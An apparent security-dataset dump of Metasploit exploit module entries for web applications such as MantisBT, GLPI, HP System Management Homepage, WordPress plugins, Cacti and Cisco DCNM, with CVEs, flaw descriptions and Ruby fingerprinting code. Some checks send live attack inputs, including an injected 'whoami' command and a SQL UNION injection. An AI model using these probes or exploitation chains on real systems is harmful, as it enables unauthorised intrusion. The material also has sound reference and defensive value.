deardaniel/secdata-raw huggingface dataset:
Metasploit Module: MantisBT XmlImportExport Plugin PHP Code Injection Vulnerability
Type: exploit
Path: modules/exploits/multi/http/mantisbt_php_exec.rb
Platform: php
Disclosure date: 2014-11-08
References: CVE-2014-7146, CVE-2014-8598, URL-https://www.mantisbt.org/bugs/view.php?id=17725, URL-https://www.mantisbt.org/bugs/view.php?id=17780

Description:
This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed.
          The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier.
          This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine.
          This version also suffers from another issue. The import page is not checking the correct user level
          of the user, so it's possible to exploit this issue with any user including the anonymous one if enabled.

Check method (fingerprinting):
version = get_mantis_version

    return Exploit::CheckCode::Unknown('Unable to detect Mantis version') if version.nil?

    gem_version = Rex::Version.new(version)
    gem_version_introduced = Rex::Version.new('1.2.0a3')
    gem_version_fixed = Rex::Version.new('1.2.18')

    if gem_version < gem_version_fixed && gem_version >= gem_version_introduced
      return Msf::Exploit::CheckCode::Appears('The target is running a vulnerable version')
    else
      return Msf::Exploit::CheckCode::Safe('The target is not running a vulnerable version')
    end
  end
Metasploit Module: GLPI install.php Remote Command Execution
Type: exploit
Path: modules/exploits/multi/http/glpi_install_rce.rb
Platform: php
Disclosure date: 2013-09-12
References: CVE-2013-5696, URL-https://www.navixia.com/blog/entry/navixia-finds-critical-vulnerabilities-in-glpi-cve-2013-5696.html, URL-http://www.glpi-project.org/forum/viewtopic.php?id=33762

Description:
This module exploits an arbitrary command execution vulnerability in the
          GLPI 'install.php' script. This module is set to ManualRanking due to this
          module overwriting the target database configuration, which may introduce target
          instability.

Check method (fingerprinting):
# Check if the GLPI instance is vulnerable
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, 'index.php'),
    })

    if not res or res.code != 200
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    re = '(version)(\\s+)(.*)(\\s+)(Copyright)'
    m = Regexp.new(re, Regexp::IGNORECASE)
    matched = m.match(res.body)
    if matched and matched[3] =~ /0.(8[0-4].[0-1])|([0-7][0-9].[0-9])/
      vprint_good("Detected Version : #{matched[3]}")
      return Exploit::CheckCode::Appears('The target appears to be a vulnerable version')
    elsif matched
      vprint_error("Version #{matched[3]} is not vulnerable")
    end
    return Exploit::CheckCode::Safe('The target is not running a vulnerable version')
  end
Metasploit Module: HP System Management Homepage JustGetSNMPQueue Command Injection
Type: exploit
Path: modules/exploits/multi/http/hp_sys_mgmt_exec.rb
Platform: linux
Disclosure date: 2013-06-11
References: CVE-2013-3576, OSVDB-94191, US-CERT-VU-735364
Targets: Linux, Linux (x64), Windows, Windows (x64)

Description:
This module exploits a vulnerability found in HP System Management Homepage.  By
          supplying a specially crafted HTTP request, it is possible to control the
          'tempfilename' variable in function JustGetSNMPQueue (found in ginkgosnmp.inc),
          which will be used in a exec() function.

Check method (fingerprinting):
@cookie = ''

    sig = Rex::Text.rand_text_alpha(10)
    cmd = "echo #{sig}&&whoami&&echo #{sig}"

    res = send_command(cmd)
    if !res
      vprint_error('Connection timed out')
      return Exploit::CheckCode::Unknown('Could not connect to the target')
    end

    if res.code == 200 && res.body =~ /#{sig}/
      vprint_good("Running with user '#{res.body.split(sig)[1].strip}'")
      return Exploit::CheckCode::Vulnerable('Successfully verified code execution on the target')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Gambio Online Webshop unauthenticated PHP Deserialization Vulnerability
Type: exploit
Path: modules/exploits/multi/http/gambio_unauth_rce_cve_2024_23759.rb
Platform: php
Disclosure date: 2024-01-19
References: CVE-2024-23759, URL-https://attackerkb.com/topics/cxCsICfcDY/cve-2024-23759, URL-https://herolab.usd.de/en/security-advisories/usd-2023-0046/
Targets: PHP, Unix Command, Linux Dropper

Description:
A Remote Code Execution vulnerability in Gambio online webshop version 4.9.2.0 and lower
          allows remote attackers to run arbitrary commands via unauthenticated HTTP POST request.
          The identified vulnerability within Gambio pertains to an insecure deserialization flaw,
          which ultimately allows an attacker to execute remote code on affected systems.
          The insecure deserialization vulnerability in Gambio poses a significant risk to affected systems.
          As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
          potentially resulting in complete system compromise, data exfiltration, or unauthorized access
          to sensitive information.

Check method (fingerprinting):
print_status("Checking if #{peer} can be exploited.")
    res = send_request_cgi!({
      'method' => 'GET',
      'ctype' => 'application/x-www-form-urlencoded',
      'uri' => normalize_uri(target_uri.path)
    })
    return CheckCode::Unknown('No valid response received from target.') unless res && res.code == 200

    # Check if target is running a Gambio webshop
    # Search for "Gambio" on the login page
    return CheckCode::Safe('Target does not appear to be running Gambio') unless res.body.include?('gambio')

    CheckCode::Detected('It looks like Gambio Webshop is running.')
  end
Metasploit Module: WordPress King Addons for Elementor Unauthenticated Privilege Escalation to RCE
Type: exploit
Path: modules/exploits/multi/http/wp_king_addons_privilege_escalation.rb
Platform: php
Disclosure date: 2025-10-30
References: CVE-2025-8489, URL-https://www.wordfence.com/blog/2025/12/attackers-actively-exploiting-critical-vulnerability-in-king-addons-for-elementor-plugin/
Targets: PHP In-Memory, Unix/Linux Command Shell, Windows Command Shell

Description:
This module exploits an unauthenticated privilege escalation vulnerability in the WordPress
          King Addons for Elementor plugin (versions 24.12.92 to 51.1.14). The vulnerability exists
          in the handle_register_ajax() function which allows unauthenticated attackers to specify
          the user_role parameter during registration, enabling them to create administrator accounts.

          This exploit requires a WordPress page containing the King Addons "Login Register Form"
          Elementor widget, which exposes the required nonce token in the page's JavaScript.
          The NONCE_PAGE option must be set to the path of such a page.

          Once an administrator account is created, the module uploads and executes a malicious
          plugin to achieve remote code execution (RCE).

Check method (fingerprinting):
return CheckCode::Unknown('Target does not appear to be running WordPress') unless wordpress_and_online?

    plugin_check = check_plugin_version_from_readme('king-addons', '51.1.35', '24.12.92')
    return plugin_check if plugin_check == CheckCode::Safe

    @nonce = find_nonce
    return CheckCode::Detected('Could not find nonce on specified page') unless @nonce

    CheckCode::Appears('The target appears to be a vulnerable version')
  end
Metasploit Module: WordPress Ninja Forms Unauthenticated File Upload
Type: exploit
Path: modules/exploits/multi/http/wp_ninja_forms_unauthenticated_file_upload.rb
Platform: php
Disclosure date: 2016-05-04
References: CVE-2016-1209, URL-http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities

Description:
Versions 2.9.36 to 2.9.42 of the Ninja Forms plugin contain
          an unauthenticated file upload vulnerability, allowing guests
          to upload arbitrary PHP code that can be executed in the context
          of the web server.

Check method (fingerprinting):
check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36')
  end
Metasploit Module: Novell ZENworks Configuration Management Remote Execution
Type: exploit
Path: modules/exploits/multi/http/zenworks_control_center_upload.rb
Platform: win
Disclosure date: 2013-03-22
References: CVE-2013-1080, BID-58668, OSVDB-91627, ZDI-13-049, URL-http://www.novell.com/support/kb/doc.php?id=7011812

Description:
This module exploits a code execution flaw in Novell ZENworks Configuration
          Management 10 SP3 and 11 SP2. The vulnerability exists in the ZENworks Control
          Center application, allowing an unauthenticated attacker to upload a malicious file
          outside of the TEMP directory and then make a second request that allows for
          arbitrary code execution. This module has been tested successfully on Novell
          ZENworks Configuration Management 10 SP3 and 11 SP2 on Windows 2003 SP2 and SUSE
          Linux Enterprise Server 10 SP3.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'GET',
      'uri' => '/zenworks/jsp/fw/internal/Login.jsp'
    })

    return Exploit::CheckCode::Unknown('No response received from the target') unless res

    if res.code == 200 and res.body =~ /Novell ZENworks Control Center/
      return Exploit::CheckCode::Detected('The target application was detected but requires authentication')
    end

    return Exploit::CheckCode::Safe('The target does not appear to be running ZENworks Control Center')
  end
Metasploit Module: Moodle Admin Shell Upload
Type: exploit
Path: modules/exploits/multi/http/moodle_admin_shell_upload.rb
Platform: php
Disclosure date: 2019-04-28
References: URL-http://pentest.com.tr/exploits/Moodle-3-6-3-Install-Plugin-Remote-Command-Execution.html, EDB-46775, CVE-2019-11631

Description:
This module will generate a plugin which can receive a malicious
          payload request and upload it to a server running Moodle
          provided valid admin credentials are used.  Then the payload
          is sent for execution, and the plugin uninstalled.

          You must have an admin account to exploit this vulnerability.

          Successfully tested against 3.6.3, 3.8.0, 3.9.0, 3.10.0, 3.11.2

Check method (fingerprinting):
v = moodle_version
    return CheckCode::Detected('Unable to determine moodle version') if v.nil?

    # This is a feature, not a vuln, so we assume this to work on 3.0.0+
    # assuming the plugin arch changed before that.
    # > 3.0, < 3.9
    version = Rex::Version.new(v)
    if version > Rex::Version.new('3.0.0')
      return CheckCode::Appears("Exploitable Moodle version #{v} detected")
    end

    CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
  end
Metasploit Module: Ruby on Rails XML Processor YAML Deserialization Code Execution
Type: exploit
Path: modules/exploits/multi/http/rails_xml_yaml_code_exec.rb
Platform: ruby
Disclosure date: 2013-01-07
References: CVE-2013-0156, OSVDB-89026, URL-https://www.rapid7.com/blog/post/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156

Description:
This module exploits a remote code execution vulnerability in the XML request
          processor of the Ruby on Rails application framework. This vulnerability allows
          an attacker to instantiate a remote object, which in turn can be used to execute
          any ruby code remotely in the context of the application.

          This module has been tested across multiple versions of RoR 3.x and RoR 2.x

          The technique used by this module requires the target to be running a fairly recent
          version of Ruby 1.9 (since 2011 or so). Applications using Ruby 1.8 may still be
          exploitable using the init_with() method, but this has not been demonstrated.
Metasploit Module: Cacti Graph Template authenticated RCE versions prior to 1.2.29
Type: exploit
Path: modules/exploits/multi/http/cacti_graph_template_rce.rb
Disclosure date: 2025-01-27
References: URL-https://github.com/SoftAndoWetto/CVE-2025-24367-PoC-Cacti/blob/main/exploit.py, CVE-2025-24367
Targets: Linux, Windows

Description:
This module exploits an authenticated remote code execution vulnerability in Cacti versions prior to 1.2.29.
          Authenticated users can upload a graph template through the /graph_templates.php endpoint. The right_axis_label
          parameter is vulnerable to code injection, allowing attackers to execute arbitrary commands on the server.
          The payload is length limited, due to this constraint the module starts an HTTP server and hosts the payload.
          The initial payload downloads the full payload using curl from the attacker's server and saves it to the
          web root of the cacti server before executing.

Check method (fingerprinting):
print_status('Checking Cacti version')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET',
      'keep_cookies' => true
    )
    return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?

    html = res.get_html_document
    begin
      @cacti_version = parse_version(html)
      version_msg = "The web server is running Cacti version #{@cacti_version}"
    rescue CactiNotFoundError => e
      return CheckCode::Safe(e.message)
    rescue CactiVersionNotFoundError => e
      return CheckCode::Unknown(e.message)
    end

    if Rex::Version.new(@cacti_version) < Rex::Version.new('1.2.29')
      print_good(version_msg)
    else
      return CheckCode::Safe(version_msg)
    end

    @csrf_token = parse_csrf_token(html)
    return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty?

    begin
      do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
    rescue CactiError => e
      return CheckCode::Unknown("Login failed: #{e}")
    end

    @logged_in = true
    CheckCode::Vulnerable('Successfully verified code execution on the target')
  end
Metasploit Module: Cisco Data Center Network Manager Unauthenticated Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/cisco_dcnm_upload_2019.rb
Platform: java
Disclosure date: 2019-06-26
References: CVE-2019-1619, CVE-2019-1620, CVE-2019-1622, URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass, URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex, URL-https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Cisco/cisco-dcnm-rce.txt, URL-https://seclists.org/fulldisclosure/2019/Jul/7

Description:
DCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload.
          An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps
          directory and achieve remote code execution as root.
          This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on
          versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct
          directory for the WAR file upload.
          This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should
          work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit
          (see References to understand why).

Check method (fingerprinting):
# at the moment this is the best way to detect
    # check if pmreport and fileUpload servlets return a 500 error with no params
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),
      'vars_get' =>
      {
        'token' => rand_text_alpha(5..20)
      },
      'method' => 'GET'
    )
    if res && res.code == 500
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),
        'method' => 'GET'
      )
      if res && res.code == 500
        return CheckCode::Detected('The target service was detected')
      end
    end

    CheckCode::Unknown('Received an unexpected response from the target')
  end
Metasploit Module: Micro Focus UCMDB Java Deserialization Unauthenticated Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/microfocus_ucmdb_unauth_deser.rb
Platform: win
Disclosure date: 2020-10-28
References: URL-https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBM.md, CVE-2020-11853, CVE-2020-11854, ZDI-20-1287, ZDI-20-1288
Targets: Linux

Description:
This module exploits two vulnerabilities, that when chained allow an attacker
          to achieve unauthenticated remote code execution in Micro Focus UCMDB.
          UCMDB included in versions 2020.05 and below of Operations Bridge Manager are affected,
          but this module can probably also be used to exploit Operations Bridge Manager
          (containerized) and Application Performance Management.
          Check the advisory and module documentation for details.
          The first vulnerability is a hardcoded password for the "diagnostics" user, which
          allows us to login to UCMDB. The second vulnerability is a run-of-the-mill Java
          deserialization, which can be exploited with ysoserial's CommonsBeanutils1 payload.
          Both Windows and Linux installations are vulnerable.

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'ucmdb-api', 'connect'),
      'method' => 'GET'
    })
    unless res
      return Exploit::CheckCode::Unknown('No response received from the target')
    end

    if res.code == 200 && res.body.include?('HttpUcmdbServiceProviderFactoryImpl')
      if res.body.include?('ServerVersion=11.6.0')
        # 100% sure this version is vulnerable
        return Exploit::CheckCode::Appears('The target appears to be a vulnerable version')
      end

      return Exploit::CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable')
    end

    return Exploit::CheckCode::Safe('UCMDB service not detected in the response')
  end
Metasploit Module: Cisco Prime Data Center Network Manager Arbitrary File Upload
Type: exploit
Path: modules/exploits/multi/http/cisco_dcnm_upload.rb
Platform: java
Disclosure date: 2013-09-18
References: CVE-2013-5486, OSVDB-97426, ZDI-13-254, URL-http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20130918-dcnm

Description:
This module exploits a code execution flaw in Cisco Data Center Network Manager. The
          vulnerability exists in processImageSave.jsp, which can be abused through a directory
          traversal and a null byte injection to upload arbitrary files. The autodeploy JBoss
          application server feature is used to achieve remote code execution. This module has been
          tested successfully on Cisco Prime Data Center Network Manager 6.1(2) on Windows 2008 R2
          (64 bits).

Check method (fingerprinting):
version = ""

    res = send_request_cgi({
      'url' => target_uri.to_s,
      'method' => 'GET'
    })

    unless res
      vprint_error("Connection timed out")
      return Exploit::CheckCode::Unknown('Could not connect to the target')
    end

    if res.code == 200 and
       res.body.to_s =~ /Data Center Network Manager/ and
       res.body.to_s =~ /<div class="productVersion">Version: (.*)<\/div>/
      version = $1
      vprint_status("Cisco Primer Data Center Network Manager version #{version} found")
      if version =~ /6\.1/
        return Exploit::CheckCode::Appears('The target appears to be a vulnerable version')
      else
        return Exploit::CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable')
      end

    elsif res.code == 200 and res.body.to_s =~ /Data Center Network Manager/
      return Exploit::CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable')
    end

    Exploit::CheckCode::Safe('The target is not running a vulnerable version')
  end
Metasploit Module: appRain CMF Arbitrary PHP File Upload Vulnerability
Type: exploit
Path: modules/exploits/multi/http/apprain_upload_exec.rb
Platform: php
Disclosure date: 2012-01-19
References: CVE-2012-1153, OSVDB-78473, EDB-18392, BID-51576

Description:
This module exploits a vulnerability found in appRain's Content Management
          Framework (CMF), version 0.1.5 or less.  By abusing the uploadify.php file, a
          malicious user can upload a file to the uploads/ directory without any
          authentication, which results in arbitrary code execution.

Check method (fingerprinting):
uri = target_uri.path
    uri << '/' if uri[-1, 1] != '/'

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, 'addons/uploadify/uploadify.php')
    })

    if res and res.code == 200 and res.body.empty?
      return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: Dexter (CasinoLoader) SQL Injection
Type: exploit
Path: modules/exploits/multi/http/dexter_casinoloader_exec.rb
Platform: php
Disclosure date: 2014-02-08

Description:
This module exploits a vulnerability found in the command and control panel
          used to control Dexter (Point of Sale malware).  This is done by accessing the
          PHP page used by bots to report in (gateway.php) which does not sanitize input.
          Input is encrypted and encoded, but the key is supplied by the bot connecting.
          The 'page' parameter is used in this case.  The command and control panel designates
          a location to upload files, and can be used as a reliable location to write a
          PHP shell.  Authentication is not needed to exploit this vulnerability.

Check method (fingerprinting):
testvalue = rand_text_alpha(9)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => gateway,
      'vars_post' => {
        'val' => 'AA==',
        'page' => Rex::Text.encode_base64("' AND 1=2 UNION ALL SELECT 1,'" + testvalue + "',3 -- --")
      }
    })

    if res and !res.get_cookies.empty? and res.get_cookies.start_with?('response=') and
       Rex::Text.decode_base64(URI.decode_uri_component(res.get_cookies['response='.length..-1])) == '$' + testvalue + ';#' and database_get_field('users', 'name', 0) != false
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end